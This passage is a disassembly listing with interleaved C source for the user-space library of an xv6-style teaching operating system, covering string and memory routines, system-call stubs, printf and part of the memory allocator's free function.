(%eax),%edx de: 8b 45 0c mov 0xc(%ebp),%eax e1: 0f b6 00 movzbl (%eax),%eax e4: 38 c2 cmp %al,%dl e6: 74 de je c6 <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; e8: 8b 45 08 mov 0x8(%ebp),%eax eb: 0f b6 00 movzbl (%eax),%eax ee: 0f b6 d0 movzbl %al,%edx f1: 8b 45 0c mov 0xc(%ebp),%eax f4: 0f b6 00 movzbl (%eax),%eax f7: 0f b6 c0 movzbl %al,%eax fa: 29 c2 sub %eax,%edx fc: 89 d0 mov %edx,%eax } fe: 5d pop %ebp ff: c3 ret 00000100 <strlen>: uint strlen(char *s) { 100: 55 push %ebp 101: 89 e5 mov %esp,%ebp 103: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 106: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 10d: eb 04 jmp 113 <strlen+0x13> 10f: 83 45 fc 01 addl $0x1,-0x4(%ebp) 113: 8b 55 fc mov -0x4(%ebp),%edx 116: 8b 45 08 mov 0x8(%ebp),%eax 119: 01 d0 add %edx,%eax 11b: 0f b6 00 movzbl (%eax),%eax 11e: 84 c0 test %al,%al 120: 75 ed jne 10f <strlen+0xf> ; return n; 122: 8b 45 fc mov -0x4(%ebp),%eax } 125: c9 leave 126: c3 ret 00000127 <memset>: void* memset(void *dst, int c, uint n) { 127: 55 push %ebp 128: 89 e5 mov %esp,%ebp 12a: 83 ec 0c sub $0xc,%esp stosb(dst, c, n); 12d: 8b 45 10 mov 0x10(%ebp),%eax 130: 89 44 24 08 mov %eax,0x8(%esp) 134: 8b 45 0c mov 0xc(%ebp),%eax 137: 89 44 24 04 mov %eax,0x4(%esp) 13b: 8b 45 08 mov 0x8(%ebp),%eax 13e: 89 04 24 mov %eax,(%esp) 141: e8 26 ff ff ff call 6c <stosb> return dst; 146: 8b 45 08 mov 0x8(%ebp),%eax } 149: c9 leave 14a: c3 ret 0000014b <strchr>: char* strchr(const char *s, char c) { 14b: 55 push %ebp 14c: 89 e5 mov %esp,%ebp 14e: 83 ec 04 sub $0x4,%esp 151: 8b 45 0c mov 0xc(%ebp),%eax 154: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 157: eb 14 jmp 16d <strchr+0x22> if(*s == c) 159: 8b 45 08 mov 0x8(%ebp),%eax 15c: 0f b6 00 movzbl (%eax),%eax 15f: 3a 45 fc cmp -0x4(%ebp),%al 162: 75 05 jne 169 <strchr+0x1e> return (char*)s; 164: 8b 45 08 mov 0x8(%ebp),%eax 167: eb 13 jmp 17c <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 169: 83 45 08 01 addl $0x1,0x8(%ebp) 16d: 8b 45 08 mov 0x8(%ebp),%eax 170: 0f b6 00 movzbl (%eax),%eax 173: 84 c0 test %al,%al 175: 75 e2 jne 159 <strchr+0xe> if(*s == c) return (char*)s; return 0; 177: b8 00 00 00 00 mov $0x0,%eax } 17c: c9 leave 17d: c3 ret 0000017e <gets>: char* gets(char *buf, int max) { 17e: 55 push %ebp 17f: 89 e5 mov %esp,%ebp 181: 83 ec 28 sub $0x28,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 184: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 18b: eb 4c jmp 1d9 <gets+0x5b> cc = read(0, &c, 1); 18d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 194: 00 195: 8d 45 ef lea -0x11(%ebp),%eax 198: 89 44 24 04 mov %eax,0x4(%esp) 19c: c7 04 24 00 00 00 00 movl $0x0,(%esp) 1a3: e8 44 01 00 00 call 2ec <read> 1a8: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 1ab: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 1af: 7f 02 jg 1b3 <gets+0x35> break; 1b1: eb 31 jmp 1e4 <gets+0x66> buf[i++] = c; 1b3: 8b 45 f4 mov -0xc(%ebp),%eax 1b6: 8d 50 01 lea 0x1(%eax),%edx 1b9: 89 55 f4 mov %edx,-0xc(%ebp) 1bc: 89 c2 mov %eax,%edx 1be: 8b 45 08 mov 0x8(%ebp),%eax 1c1: 01 c2 add %eax,%edx 1c3: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1c7: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 1c9: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1cd: 3c 0a cmp $0xa,%al 1cf: 74 13 je 1e4 <gets+0x66> 1d1: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1d5: 3c 0d cmp $0xd,%al 1d7: 74 0b je 1e4 <gets+0x66> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1d9: 8b 45 f4 mov -0xc(%ebp),%eax 1dc: 83 c0 01 add $0x1,%eax 1df: 3b 45 0c cmp 0xc(%ebp),%eax 1e2: 7c a9 jl 18d <gets+0xf> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1e4: 8b 55 f4 mov -0xc(%ebp),%edx 1e7: 8b 45 08 mov 0x8(%ebp),%eax 1ea: 01 d0 add %edx,%eax 1ec: c6 00 00 movb $0x0,(%eax) return buf; 1ef: 8b 45 08 mov 0x8(%ebp),%eax } 1f2: c9 leave 1f3: c3 ret 000001f4 <stat>: int stat(char *n, struct stat *st) { 1f4: 55 push %ebp 1f5: 89 e5 mov %esp,%ebp 1f7: 83 ec 28 sub $0x28,%esp int fd; int r; fd = open(n, O_RDONLY); 1fa: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 201: 00 202: 8b 45 08 mov 0x8(%ebp),%eax 205: 89 04 24 mov %eax,(%esp) 208: e8 07 01 00 00 call 314 <open> 20d: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 210: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 214: 79 07 jns 21d <stat+0x29> return -1; 216: b8 ff ff ff ff mov $0xffffffff,%eax 21b: eb 23 jmp 240 <stat+0x4c> r = fstat(fd, st); 21d: 8b 45 0c mov 0xc(%ebp),%eax 220: 89 44 24 04 mov %eax,0x4(%esp) 224: 8b 45 f4 mov -0xc(%ebp),%eax 227: 89 04 24 mov %eax,(%esp) 22a: e8 fd 00 00 00 call 32c <fstat> 22f: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 232: 8b 45 f4 mov -0xc(%ebp),%eax 235: 89 04 24 mov %eax,(%esp) 238: e8 bf 00 00 00 call 2fc <close> return r; 23d: 8b 45 f0 mov -0x10(%ebp),%eax } 240: c9 leave 241: c3 ret 00000242 <atoi>: int atoi(const char *s) { 242: 55 push %ebp 243: 89 e5 mov %esp,%ebp 245: 83 ec 10 sub $0x10,%esp int n; n = 0; 248: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 24f: eb 25 jmp 276 <atoi+0x34> n = n*10 + *s++ - '0'; 251: 8b 55 fc mov -0x4(%ebp),%edx 254: 89 d0 mov %edx,%eax 256: c1 e0 02 shl $0x2,%eax 259: 01 d0 add %edx,%eax 25b: 01 c0 add %eax,%eax 25d: 89 c1 mov %eax,%ecx 25f: 8b 45 08 mov 0x8(%ebp),%eax 262: 8d 50 01 lea 0x1(%eax),%edx 265: 89 55 08 mov %edx,0x8(%ebp) 268: 0f b6 00 movzbl (%eax),%eax 26b: 0f be c0 movsbl %al,%eax 26e: 01 c8 add %ecx,%eax 270: 83 e8 30 sub $0x30,%eax 273: 89 45 fc mov %eax,-0x4(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 276: 8b 45 08 mov 0x8(%ebp),%eax 279: 0f b6 00 movzbl (%eax),%eax 27c: 3c 2f cmp $0x2f,%al 27e: 7e 0a jle 28a <atoi+0x48> 280: 8b 45 08 mov 0x8(%ebp),%eax 283: 0f b6 00 movzbl (%eax),%eax 286: 3c 39 cmp $0x39,%al 288: 7e c7 jle 251 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 28a: 8b 45 fc mov -0x4(%ebp),%eax } 28d: c9 leave 28e: c3 ret 0000028f <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 28f: 55 push %ebp 290: 89 e5 mov %esp,%ebp 292: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 295: 8b 45 08 mov 0x8(%ebp),%eax 298: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 29b: 8b 45 0c mov 0xc(%ebp),%eax 29e: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 2a1: eb 17 jmp 2ba <memmove+0x2b> *dst++ = *src++; 2a3: 8b 45 fc mov -0x4(%ebp),%eax 2a6: 8d 50 01 lea 0x1(%eax),%edx 2a9: 89 55 fc mov %edx,-0x4(%ebp) 2ac: 8b 55 f8 mov -0x8(%ebp),%edx 2af: 8d 4a 01 lea 0x1(%edx),%ecx 2b2: 89 4d f8 mov %ecx,-0x8(%ebp) 2b5: 0f b6 12 movzbl (%edx),%edx 2b8: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 2ba: 8b 45 10 mov 0x10(%ebp),%eax 2bd: 8d 50 ff lea -0x1(%eax),%edx 2c0: 89 55 10 mov %edx,0x10(%ebp) 2c3: 85 c0 test %eax,%eax 2c5: 7f dc jg 2a3 <memmove+0x14> *dst++ = *src++; return vdst; 2c7: 8b 45 08 mov 0x8(%ebp),%eax } 2ca: c9 leave 2cb: c3 ret 000002cc <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 2cc: b8 01 00 00 00 mov $0x1,%eax 2d1: cd 40 int $0x40 2d3: c3 ret 000002d4 <exit>: SYSCALL(exit) 2d4: b8 02 00 00 00 mov $0x2,%eax 2d9: cd 40 int $0x40 2db: c3 ret 000002dc <wait>: SYSCALL(wait) 2dc: b8 03 00 00 00 mov $0x3,%eax 2e1: cd 40 int $0x40 2e3: c3 ret 000002e4 <pipe>: SYSCALL(pipe) 2e4: b8 04 00 00 00 mov $0x4,%eax 2e9: cd 40 int $0x40 2eb: c3 ret 000002ec <read>: SYSCALL(read) 2ec: b8 05 00 00 00 mov $0x5,%eax 2f1: cd 40 int $0x40 2f3: c3 ret 000002f4 <write>: SYSCALL(write) 2f4: b8 10 00 00 00 mov $0x10,%eax 2f9: cd 40 int $0x40 2fb: c3 ret 000002fc <close>: SYSCALL(close) 2fc: b8 15 00 00 00 mov $0x15,%eax 301: cd 40 int $0x40 303: c3 ret 00000304 <kill>: SYSCALL(kill) 304: b8 06 00 00 00 mov $0x6,%eax 309: cd 40 int $0x40 30b: c3 ret 0000030c <exec>: SYSCALL(exec) 30c: b8 07 00 00 00 mov $0x7,%eax 311: cd 40 int $0x40 313: c3 ret 00000314 <open>: SYSCALL(open) 314: b8 0f 00 00 00 mov $0xf,%eax 319: cd 40 int $0x40 31b: c3 ret 0000031c <mknod>: SYSCALL(mknod) 31c: b8 11 00 00 00 mov $0x11,%eax 321: cd 40 int $0x40 323: c3 ret 00000324 <unlink>: SYSCALL(unlink) 324: b8 12 00 00 00 mov $0x12,%eax 329: cd 40 int $0x40 32b: c3 ret 0000032c <fstat>: SYSCALL(fstat) 32c: b8 08 00 00 00 mov $0x8,%eax 331: cd 40 int $0x40 333: c3 ret 00000334 <link>: SYSCALL(link) 334: b8 13 00 00 00 mov $0x13,%eax 339: cd 40 int $0x40 33b: c3 ret 0000033c <mkdir>: SYSCALL(mkdir) 33c: b8 14 00 00 00 mov $0x14,%eax 341: cd 40 int $0x40 343: c3 ret 00000344 <chdir>: SYSCALL(chdir) 344: b8 09 00 00 00 mov $0x9,%eax 349: cd 40 int $0x40 34b: c3 ret 0000034c <dup>: SYSCALL(dup) 34c: b8 0a 00 00 00 mov $0xa,%eax 351: cd 40 int $0x40 353: c3 ret 00000354 <getpid>: SYSCALL(getpid) 354: b8 0b 00 00 00 mov $0xb,%eax 359: cd 40 int $0x40 35b: c3 ret 0000035c <sbrk>: SYSCALL(sbrk) 35c: b8 0c 00 00 00 mov $0xc,%eax 361: cd 40 int $0x40 363: c3 ret 00000364 <sleep>: SYSCALL(sleep) 364: b8 0d 00 00 00 mov $0xd,%eax 369: cd 40 int $0x40 36b: c3 ret 0000036c <uptime>: SYSCALL(uptime) 36c: b8 0e 00 00 00 mov $0xe,%eax 371: cd 40 int $0x40 373: c3 ret 00000374 <date>: SYSCALL(date) 374: b8 16 00 00 00 mov $0x16,%eax 379: cd 40 int $0x40 37b: c3 ret 0000037c <timem>: SYSCALL(timem) 37c: b8 17 00 00 00 mov $0x17,%eax 381: cd 40 int $0x40 383: c3 ret 00000384 <getuid>: SYSCALL(getuid) 384: b8 18 00 00 00 mov $0x18,%eax 389: cd 40 int $0x40 38b: c3 ret 0000038c <getgid>: SYSCALL(getgid) 38c: b8 19 00 00 00 mov $0x19,%eax 391: cd 40 int $0x40 393: c3 ret 00000394 <getppid>: SYSCALL(getppid) 394: b8 1a 00 00 00 mov $0x1a,%eax 399: cd 40 int $0x40 39b: c3 ret 0000039c <setuid>: SYSCALL(setuid) 39c: b8 1b 00 00 00 mov $0x1b,%eax 3a1: cd 40 int $0x40 3a3: c3 ret 000003a4 <setgid>: SYSCALL(setgid) 3a4: b8 1c 00 00 00 mov $0x1c,%eax 3a9: cd 40 int $0x40 3ab: c3 ret 000003ac <getprocs>: SYSCALL(getprocs) 3ac: b8 1d 00 00 00 mov $0x1d,%eax 3b1: cd 40 int $0x40 3b3: c3 ret 000003b4 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 3b4: 55 push %ebp 3b5: 89 e5 mov %esp,%ebp 3b7: 83 ec 18 sub $0x18,%esp 3ba: 8b 45 0c mov 0xc(%ebp),%eax 3bd: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 3c0: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 3c7: 00 3c8: 8d 45 f4 lea -0xc(%ebp),%eax 3cb: 89 44 24 04 mov %eax,0x4(%esp) 3cf: 8b 45 08 mov 0x8(%ebp),%eax 3d2: 89 04 24 mov %eax,(%esp) 3d5: e8 1a ff ff ff call 2f4 <write> } 3da: c9 leave 3db: c3 ret 000003dc <printint>: static void printint(int fd, int xx, int base, int sgn) { 3dc: 55 push %ebp 3dd: 89 e5 mov %esp,%ebp 3df: 56 push %esi 3e0: 53 push %ebx 3e1: 83 ec 30 sub $0x30,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 3e4: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 3eb: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 3ef: 74 17 je 408 <printint+0x2c> 3f1: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 3f5: 79 11 jns 408 <printint+0x2c> neg = 1; 3f7: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 3fe: 8b 45 0c mov 0xc(%ebp),%eax 401: f7 d8 neg %eax 403: 89 45 ec mov %eax,-0x14(%ebp) 406: eb 06 jmp 40e <printint+0x32> } else { x = xx; 408: 8b 45 0c mov 0xc(%ebp),%eax 40b: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 40e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 415: 8b 4d f4 mov -0xc(%ebp),%ecx 418: 8d 41 01 lea 0x1(%ecx),%eax 41b: 89 45 f4 mov %eax,-0xc(%ebp) 41e: 8b 5d 10 mov 0x10(%ebp),%ebx 421: 8b 45 ec mov -0x14(%ebp),%eax 424: ba 00 00 00 00 mov $0x0,%edx 429: f7 f3 div %ebx 42b: 89 d0 mov %edx,%eax 42d: 0f b6 80 b4 0a 00 00 movzbl 0xab4(%eax),%eax 434: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 438: 8b 75 10 mov 0x10(%ebp),%esi 43b: 8b 45 ec mov -0x14(%ebp),%eax 43e: ba 00 00 00 00 mov $0x0,%edx 443: f7 f6 div %esi 445: 89 45 ec mov %eax,-0x14(%ebp) 448: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 44c: 75 c7 jne 415 <printint+0x39> if(neg) 44e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 452: 74 10 je 464 <printint+0x88> buf[i++] = '-'; 454: 8b 45 f4 mov -0xc(%ebp),%eax 457: 8d 50 01 lea 0x1(%eax),%edx 45a: 89 55 f4 mov %edx,-0xc(%ebp) 45d: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 462: eb 1f jmp 483 <printint+0xa7> 464: eb 1d jmp 483 <printint+0xa7> putc(fd, buf[i]); 466: 8d 55 dc lea -0x24(%ebp),%edx 469: 8b 45 f4 mov -0xc(%ebp),%eax 46c: 01 d0 add %edx,%eax 46e: 0f b6 00 movzbl (%eax),%eax 471: 0f be c0 movsbl %al,%eax 474: 89 44 24 04 mov %eax,0x4(%esp) 478: 8b 45 08 mov 0x8(%ebp),%eax 47b: 89 04 24 mov %eax,(%esp) 47e: e8 31 ff ff ff call 3b4 <putc> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 483: 83 6d f4 01 subl $0x1,-0xc(%ebp) 487: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 48b: 79 d9 jns 466 <printint+0x8a> putc(fd, buf[i]); } 48d: 83 c4 30 add $0x30,%esp 490: 5b pop %ebx 491: 5e pop %esi 492: 5d pop %ebp 493: c3 ret 00000494 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 494: 55 push %ebp 495: 89 e5 mov %esp,%ebp 497: 83 ec 38 sub $0x38,%esp char *s; int c, i, state; uint *ap; state = 0; 49a: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 4a1: 8d 45 0c lea 0xc(%ebp),%eax 4a4: 83 c0 04 add $0x4,%eax 4a7: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 4aa: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 4b1: e9 7c 01 00 00 jmp 632 <printf+0x19e> c = fmt[i] & 0xff; 4b6: 8b 55 0c mov 0xc(%ebp),%edx 4b9: 8b 45 f0 mov -0x10(%ebp),%eax 4bc: 01 d0 add %edx,%eax 4be: 0f b6 00 movzbl (%eax),%eax 4c1: 0f be c0 movsbl %al,%eax 4c4: 25 ff 00 00 00 and $0xff,%eax 4c9: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 4cc: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 4d0: 75 2c jne 4fe <printf+0x6a> if(c == '%'){ 4d2: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 4d6: 75 0c jne 4e4 <printf+0x50> state = '%'; 4d8: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 4df: e9 4a 01 00 00 jmp 62e <printf+0x19a> } else { putc(fd, c); 4e4: 8b 45 e4 mov -0x1c(%ebp),%eax 4e7: 0f be c0 movsbl %al,%eax 4ea: 89 44 24 04 mov %eax,0x4(%esp) 4ee: 8b 45 08 mov 0x8(%ebp),%eax 4f1: 89 04 24 mov %eax,(%esp) 4f4: e8 bb fe ff ff call 3b4 <putc> 4f9: e9 30 01 00 00 jmp 62e <printf+0x19a> } } else if(state == '%'){ 4fe: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 502: 0f 85 26 01 00 00 jne 62e <printf+0x19a> if(c == 'd'){ 508: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 50c: 75 2d jne 53b <printf+0xa7> printint(fd, *ap, 10, 1); 50e: 8b 45 e8 mov -0x18(%ebp),%eax 511: 8b 00 mov (%eax),%eax 513: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) 51a: 00 51b: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) 522: 00 523: 89 44 24 04 mov %eax,0x4(%esp) 527: 8b 45 08 mov 0x8(%ebp),%eax 52a: 89 04 24 mov %eax,(%esp) 52d: e8 aa fe ff ff call 3dc <printint> ap++; 532: 83 45 e8 04 addl $0x4,-0x18(%ebp) 536: e9 ec 00 00 00 jmp 627 <printf+0x193> } else if(c == 'x' || c == 'p'){ 53b: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 53f: 74 06 je 547 <printf+0xb3> 541: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 545: 75 2d jne 574 <printf+0xe0> printint(fd, *ap, 16, 0); 547: 8b 45 e8 mov -0x18(%ebp),%eax 54a: 8b 00 mov (%eax),%eax 54c: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 553: 00 554: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 55b: 00 55c: 89 44 24 04 mov %eax,0x4(%esp) 560: 8b 45 08 mov 0x8(%ebp),%eax 563: 89 04 24 mov %eax,(%esp) 566: e8 71 fe ff ff call 3dc <printint> ap++; 56b: 83 45 e8 04 addl $0x4,-0x18(%ebp) 56f: e9 b3 00 00 00 jmp 627 <printf+0x193> } else if(c == 's'){ 574: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 578: 75 45 jne 5bf <printf+0x12b> s = (char*)*ap; 57a: 8b 45 e8 mov -0x18(%ebp),%eax 57d: 8b 00 mov (%eax),%eax 57f: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 582: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 586: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 58a: 75 09 jne 595 <printf+0x101> s = "(null)"; 58c: c7 45 f4 69 08 00 00 movl $0x869,-0xc(%ebp) while(*s != 0){ 593: eb 1e jmp 5b3 <printf+0x11f> 595: eb 1c jmp 5b3 <printf+0x11f> putc(fd, *s); 597: 8b 45 f4 mov -0xc(%ebp),%eax 59a: 0f b6 00 movzbl (%eax),%eax 59d: 0f be c0 movsbl %al,%eax 5a0: 89 44 24 04 mov %eax,0x4(%esp) 5a4: 8b 45 08 mov 0x8(%ebp),%eax 5a7: 89 04 24 mov %eax,(%esp) 5aa: e8 05 fe ff ff call 3b4 <putc> s++; 5af: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 5b3: 8b 45 f4 mov -0xc(%ebp),%eax 5b6: 0f b6 00 movzbl (%eax),%eax 5b9: 84 c0 test %al,%al 5bb: 75 da jne 597 <printf+0x103> 5bd: eb 68 jmp 627 <printf+0x193> putc(fd, *s); s++; } } else if(c == 'c'){ 5bf: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 5c3: 75 1d jne 5e2 <printf+0x14e> putc(fd, *ap); 5c5: 8b 45 e8 mov -0x18(%ebp),%eax 5c8: 8b 00 mov (%eax),%eax 5ca: 0f be c0 movsbl %al,%eax 5cd: 89 44 24 04 mov %eax,0x4(%esp) 5d1: 8b 45 08 mov 0x8(%ebp),%eax 5d4: 89 04 24 mov %eax,(%esp) 5d7: e8 d8 fd ff ff call 3b4 <putc> ap++; 5dc: 83 45 e8 04 addl $0x4,-0x18(%ebp) 5e0: eb 45 jmp 627 <printf+0x193> } else if(c == '%'){ 5e2: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 5e6: 75 17 jne 5ff <printf+0x16b> putc(fd, c); 5e8: 8b 45 e4 mov -0x1c(%ebp),%eax 5eb: 0f be c0 movsbl %al,%eax 5ee: 89 44 24 04 mov %eax,0x4(%esp) 5f2: 8b 45 08 mov 0x8(%ebp),%eax 5f5: 89 04 24 mov %eax,(%esp) 5f8: e8 b7 fd ff ff call 3b4 <putc> 5fd: eb 28 jmp 627 <printf+0x193> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 5ff: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp) 606: 00 607: 8b 45 08 mov 0x8(%ebp),%eax 60a: 89 04 24 mov %eax,(%esp) 60d: e8 a2 fd ff ff call 3b4 <putc> putc(fd, c); 612: 8b 45 e4 mov -0x1c(%ebp),%eax 615: 0f be c0 movsbl %al,%eax 618: 89 44 24 04 mov %eax,0x4(%esp) 61c: 8b 45 08 mov 0x8(%ebp),%eax 61f: 89 04 24 mov %eax,(%esp) 622: e8 8d fd ff ff call 3b4 <putc> } state = 0; 627: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 62e: 83 45 f0 01 addl $0x1,-0x10(%ebp) 632: 8b 55 0c mov 0xc(%ebp),%edx 635: 8b 45 f0 mov -0x10(%ebp),%eax 638: 01 d0 add %edx,%eax 63a: 0f b6 00 movzbl (%eax),%eax 63d: 84 c0 test %al,%al 63f: 0f 85 71 fe ff ff jne 4b6 <printf+0x22> putc(fd, c); } state = 0; } } } 645: c9 leave 646: c3 ret 00000647 <free>: static Header base; static Header *freep; void free(void *ap) { 647: 55 push %ebp 648: 89 e5 mov %esp,%ebp 64a: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 64d: 8b 45 08 mov 0x8(%ebp),%eax 650: 83 e8 08 sub $0x8,%eax 653: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 656: a1 d0 0a 00 00 mov 0xad0,%eax 65b: 89 45 fc mov %eax,-0x4(%ebp) 65e: eb 24 jmp 684 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 660: 8b 45 fc mov -0x4(%ebp),%eax 663: 8b 00 mov (%eax),%eax 665: 3b 45 fc cmp -0x4(%ebp),%eax 668: 77 12 ja 67c <free+0x35> 66a: 8b 45 f8 mov -0x8(%ebp),%eax 66d: 3b 45 fc cmp -0x4(%ebp),%eax 670: 77 24 ja 696 <free+0x4f> 672: 8b 45 fc mov -0x4(%ebp),%eax 675: 8b 00 mov (%eax),%eax 677: 3b 45 f8 cmp -0x8(%ebp),%eax 67a: 77 1a ja 696 <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 67c: 8b 45 fc mov -0x4(%ebp),%eax 67f: 8b 00 mov (%eax),%eax 681: 89 45 fc mov %eax,-0x4(%ebp) 684: 8b 45 f8 mov -0x8(%ebp),%eax 687: 3b 45 fc cmp -0x4(%ebp),%eax 68a: 76 d4 jbe 660 <free+0x19> 68c: 8b 45 fc mov -0x4(%ebp),%eax 68f: 8b 00 mov (%eax),%eax 691: 3b 45 f8 cmp -0x8(%ebp),%eax 694: 76 ca jbe 660 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 696: 8b 45 f8 mov -0x8(%ebp),%eax 699: 8b 40 04 mov 0x4(%eax),%eax 69c: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 6a3: 8b 45 f8 mov -0x8(%ebp),%eax 6a6: 01 c2 add %eax,%edx 6a8: 8b 45 fc mov -0x4(%ebp),%eax 6ab: 8b 00 mov (%eax),%eax 6ad: 39 c2 cmp %eax,%edx 6af: 75 24 jne 6d5 <free+0x8e> bp->s.size += p->s.ptr->s.size; 6b1: 8b 45 f8 mov -0x8(%ebp),%eax 6b4: 8b 50 04 mov 0x4(%eax),%edx 6b7: 8b 45 fc mov -0x4(%ebp),%eax 6ba: 8b 00 mov (%eax),%eax 6bc: 8b 40 04 mov 0x4(%eax),%eax 6bf: 01 c2 add %eax,%edx 6c1: 8b 45 f8 mov -0x8(%ebp),%eax 6c4: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 6c7: 8b 45 fc mov -0x4(%ebp),%eax 6ca: 8b 00 mov (%eax),%eax 6cc: 8b 10 mov (%eax),%edx 6ce: 8b 45 f8 mov -0x8(%ebp),%eax 6d1: 89 10 mov %edx,(%eax) 6d3: eb 0a jmp 6df <free+0x98> } else bp->s.ptr = p->s.ptr; 6d5: 8b 45 fc mov -0x4(%ebp),%eax 6d8: 8b 10 mov (%eax),%edx 6da: 8b 45 f8 mov -0x8(%ebp),%eax 6dd: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 6df: 8b 45 fc mov -0x4(%ebp),%eax 6e2: 8b 40 04 mov 0x4(%eax),%eax 6e5: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 6ec: 8b 45 fc mov -0x4(%ebp),%eax 6ef: 01 d0 add %edx,%eax 6f1: 3b 45 f8 cmp -0x8(%ebp),%eax 6f4: 75 20 jne 716 <free+0xcf> p->s.size += bp->s.size; 6f6: 8b 45 fc mov -0x4(%ebp),%eax 6f9: 8b 50 04 mov 0x4(%eax),%edx 6fc: 8b 45 f8 mov -0x8(%ebp),%eax 6ff: 8b 40 04 mov 0x4(%eax),%eax 702: 01 c2 add %eax,%edx 704: 8b 45 fc mov -0x4(%ebp),%eax 707: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 70a: 8b 45 f8 mov -0x8(%ebp),%eax 70d: 8b 10 mov (%eax),%edx 70f: 8b 45 fc mov -0x4(%ebp),%eax 712: 89 10 mov %edx,(%eax) 714: eb 08 jmp 71e <free+0xd7> } else p->s.ptr = bp; 716: 8b 45 fc mov -0x4(%ebp),%eax 719: 8b 55 f8 mov -0x8(%ebp),%edx 71c: 89 10 mov %edx,(%eax) freep = p; 